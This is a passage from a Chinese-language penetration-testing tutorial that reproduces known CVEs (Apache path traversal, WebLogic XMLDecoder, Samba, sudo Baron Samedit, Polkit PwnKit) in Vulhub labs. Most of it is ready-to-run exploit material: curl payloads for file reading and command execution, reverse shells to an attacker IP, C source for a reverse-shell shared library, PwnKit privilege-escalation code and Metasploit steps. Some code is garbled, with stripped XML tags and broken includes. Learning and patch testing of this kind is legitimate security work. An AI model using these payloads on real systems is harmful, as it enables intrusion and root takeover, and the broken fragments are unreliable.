影响版本:

CVE-2021-41773:Apache 2.4.49

CVE-2021-42013:Apache 2.4.49 和 2.4.50

```

```bash

启动Vulhub中的Apache目录穿越漏洞环境

cd /opt/vulhub/httpd/CVE-2021-41773

docker-compose up -d

```

```bash

读取任意文件(CVE-2021-41773)

curl --path-as-is "http://靶机IP:8080/cgi-bin/../../../../etc/passwd"

CVE-2021-42013绕过(双重编码绕过)

curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

```

4.3.2 RCE利用条件与payload

当Apache启用了CGI模块(mod_cgi)时,CVE-2021-42013可进一步利用实现RCE:

```bash

利用CGI执行命令(需要启用mod_cgi)

curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \

-d 'echo Content-Type: text/plain; echo; id; whoami; uname -a'

获取反弹Shell

curl --path-as-is "http://靶机IP:8080/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \

-d 'echo Content-Type: text/plain; echo; bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"'

```

```text

修复方案:

升级Apache HTTP Server到2.4.51及以上版本

限制目录别名配置,确保Require all denied正确设置

如不需要,禁用mod_cgi模块

```

4.4 复现九:WebLogic XMLDecoder反序列化(CVE-2017-10271)

4.4.1 SOAP服务接口利用

```text

漏洞原理:

WebLogic的WLS Security组件在处理XML数据时使用了XMLDecoder进行反序列化,

攻击者可构造恶意XML数据发送到/wls-wsat/CoordinatorPortType等SOAP接口,

触发XMLDecoder反序列化执行任意命令。

影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2

```

```bash

启动Vulhub中的WebLogic XMLDecoder漏洞环境

cd /opt/vulhub/weblogic/CVE-2017-10271

docker-compose up -d

默认端口7001

```

4.4.2 XML payload构造

```bash

发送恶意XML payload执行命令

curl -X POST "http://靶机IP:7001/wls-wsat/CoordinatorPortType" \

-H "Content-Type: text/xml" \

-d '

/bin/bash

-c

touch /tmp/pwned

'

```

```bash

验证命令执行结果

如果WebLogic运行在Docker中,可以通过exec进入容器查看

docker exec -it <容器ID> ls -la /tmp/pwned

获取反弹Shell的payload

curl -X POST "http://靶机IP:7001/wls-wsat/CoordinatorPortType" \

-H "Content-Type: text/xml" \

-d '

bash

-c

bash -i >& /dev/tcp/攻击机IP/4444 0>&1

'

```

【注意】XML中需要将 > 和 & 进行HTML实体编码(> 和 &),否则XML解析会出错。

五、系统漏洞复现实战

5.1 复现十:Samba远程代码执行(CVE-2017-7494)

5.1.1 漏洞原理与利用条件

```text

漏洞原理:

Samba服务在处理共享管道请求时,会加载用户指定的动态链接库(.so文件)。

攻击者可以上传恶意的SO模块到Samba共享目录,然后通过RPC请求触发加载该模块,

从而以Samba服务权限执行任意代码。

影响版本:Samba 3.5.0 ~ 4.6.4(不含安全补丁版本)

利用条件:

目标存在可写的Samba共享目录

能够猜到共享路径的绝对路径

Samba服务以root权限运行时可获取root Shell

```

```bash

启动Vulhub中的Samba漏洞环境

cd /opt/vulhub/samba/CVE-2017-7494

docker-compose up -d

默认端口445

```

5.1.2 构造恶意共享路径上传SO模块

```bash

步骤1:编译恶意SO模块(反弹Shell)

cat > reverse.c << 'EOF'

#include

#include

#include

#include

int sht_connect() {

int sockfd;

struct sockaddr_in addr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

addr.sin_family = AF_INET;

addr.sin_port = htons(4444);

addr.sin_addr.s_addr = inet_addr("攻击机IP");

connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));

dup2(sockfd, 0);

dup2(sockfd, 1);

dup2(sockfd, 2);

execl("/bin/bash", "bash", "-i", NULL);

return 0;

}

void samba_init_module(void) {

sht_connect();

}

EOF

编译为SO模块(注意目标架构,x86或x64)

gcc -shared -fPIC -o reverse.so reverse.c -nostartfiles

```

```bash

步骤2:上传SO模块到Samba共享目录

安装smbclient

apt-get install -y smbclient

连接Samba共享(假设共享名为public,匿名访问)

smbclient //靶机IP/public -N

在smbclient交互中:

smb: \> put reverse.so

smb: \> exit

步骤3:触发SO模块加载(使用metasploit或自定义脚本)

使用Metasploit

msfconsole

use exploit/linux/samba/is_known_pipename

set RHOST 靶机IP

set RPORT 445

set SMB_SHARE public

set SMB_FOLDER /reverse.so

exploit

```

```bash

步骤4:在攻击机上监听反弹Shell

nc -lvnp 4444

```

5.2 复现十一:Sudo提权漏洞(CVE-2021-3156 Baron Samedit)

5.2.1 漏洞原理

```text

漏洞原理:

Sudo在解析命令行参数时存在堆溢出漏洞。当用户执行sudo命令时,

如果参数末尾包含反斜杠(如sudo -s \),sudo的解析器会错误处理,

导致堆缓冲区溢出。攻击者可利用此漏洞以非root用户身份获取root权限。

影响版本:

sudo 1.8.2 ~ 1.8.31p2

sudo 1.9.0 ~ 1.9.5p1

不受影响版本:sudo 1.9.5p2及以上

```

5.2.2 编译利用脚本

```bash

下载CVE-2021-3156利用工具

cd /tmp

git clone https://github.com/blasty/CVE-2021-3156.git

cd CVE-2021-3156

编译利用程序

make

查看编译生成的可执行文件

ls -la sudo-hax-me-a-sandwich

```

5.2.3 提权完整流程

```bash

步骤1:确认sudo版本存在漏洞

sudo --version

检查版本是否在受影响范围内

步骤2:验证漏洞是否存在(不会触发实际利用)

sudoedit -s '\' $(python3 -c 'print("A"*1000)')

如果返回"malloc: corrupted top size"或段错误,说明存在漏洞

步骤3:执行提权利用

./sudo-hax-me-a-sandwich

根据输出的目标列表选择对应的编号

./sudo-hax-me-a-sandwich <编号>

验证提权成功

id

whoami

应显示 uid=0(root) gid=0(root)

```

```text

修复方案:

升级sudo到1.9.5p2及以上版本

各Linux发行版已发布安全补丁,通过包管理器更新:

Ubuntu/Debian: apt-get update && apt-get install sudo

CentOS/RHEL: yum update sudo

临时缓解:如非必要,限制普通用户使用sudo的权限

```

5.3 复现十二:Polkit pkexec本地提权(CVE-2021-4034 Pwnkit)

5.3.1 漏洞原理

```text

漏洞原理:

pkexec是Polkit(PolicyKit)套件中的setuid程序,用于以其他用户身份执行命令。

CVE-2021-4034漏洞源于pkexec在处理命令行参数时,未正确检查参数数量。

当argc=0时,pkexec会越界读取环境变量数组,导致环境变量注入。

攻击者可利用此漏洞注入恶意环境变量(如GCONV_PATH),加载恶意共享库实现提权。

影响版本:2009年5月至今的所有Polkit版本(影响范围极广)

漏洞存在于Linux系统中已超过12年,被称为"十年最佳Linux提权漏洞"

```

5.3.2 C语言exploit编译与执行

```bash

下载CVE-2021-4034利用代码

cd /tmp

git clone https://github.com/arthepsy/CVE-2021-4034.git

cd CVE-2021-4034

或者使用官方Qualys的利用代码

git clone https://github.com/qualys/CVE-2021-4034.git

cd CVE-2021-4034

```

```c

// 简化的CVE-2021-4034利用代码 (cve-2021-4034.c)

#include

int main(int argc, char **argv)

{

char * const args\[\] = {

NULL

};

char * const environ\[\] = {

"pwnkit",

"PATH=GCONV_PATH=.",

"CHARSET=PWNKIT",

"SHELL=pwnkit",

NULL

};

execve("/usr/bin/pkexec", args, environ);

}

```

```bash

编译恶意.so模块

cat > pwnkit.c << 'EOF'

#include

#include

#include

void gconv(void) {

}

void gconv_init(void *step) {

char * const args\[\] = {"/bin/sh", NULL};

setuid(0);

setgid(0);

execve(args0, args, NULL);

exit(0);

}

EOF

gcc -shared -fPIC -o pwnkit.so pwnkit.c

编译exploit主体

gcc -o cve-2021-4034 cve-2021-4034.c

创建GCONV_PATH所需的目录结构

mkdir -p GCONV_PATH=.

cp pwnkit.so GCONV_PATH=.

```

5.3.3 提权效果演示

```bash

确认当前是普通用户

id

uid=1000(test) gid=1000(test) groups=1000(test)

执行提权

./cve-2021-4034

验证提权结果

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root

获取完整root Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

```

【警告】CVE-2021-4034利用成功率极高,几乎影响所有主流Linux发行版。该漏洞已存在12年以上,建议尽快更新系统补丁。

```text

修复方案:

更新polkit包到安全版本

Ubuntu/Debian: apt-get update && apt-get install policykit-1

CentOS/RHEL: yum update polkit

临时缓解:移除pkexec的SUID位(不推荐,影响功能)

chmod 0755 /usr/bin/pkexec

长期方案:保持系统及时更新安全补丁

```

六、漏洞复现工具汇总

6.1 漏洞利用框架

| 工具名称 | 功能说明 | 使用场景 | 命令示例 |

|---------|---------|---------|---------|

| Metasploit | 综合渗透测试框架,内置大量exploit模块 | 漏洞利用、后渗透 | msfconsole -> search -> use |

| searchsploit | ExploitDB离线搜索工具 | 快速查找公开EXP | searchsploit <关键词> |

| ysoerial | Java反序列化利用工具 | Java反序列化漏洞 | java -jar ysoserial.jar |

| marshalsec | JNDI注入利用工具 | JNDI注入类漏洞 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer |

| nuclei | 基于模板的漏洞扫描器 | 批量漏洞验证 | nuclei -t